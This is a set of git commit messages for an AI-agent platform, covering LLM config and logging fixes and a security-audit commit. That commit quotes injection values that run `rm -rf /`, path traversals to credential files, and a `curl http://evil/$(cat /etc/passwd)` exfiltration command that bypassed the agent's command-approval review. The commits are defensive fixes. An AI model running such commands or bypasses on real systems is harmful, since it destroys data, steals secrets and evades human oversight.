A generous config default (32768) hard-fails on providers that reject an
oversized max_tokens (e.g. DeepSeek caps output at 8192). Clamp to
litellm's max_output_tokens when known, log once per model; unknown
models pass through unchanged.
- get_context_window() now reads litellm.get_model_info().max_input_tokens
instead of get_max_tokens(), which returns the output cap and severely
under-reported the window for every mapped model (e.g. deepseek 8k vs 1M)
- models litellm cannot map fall back to 128000 with a single warning per
model instead of warning on every call and returning None
- raise LLMConfig.max_tokens default 8192 -> 32768 to match the template
- README: configure the API key directly in llm_config.yaml; document
max_tokens / context_window in the example
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>
chaohuang-ai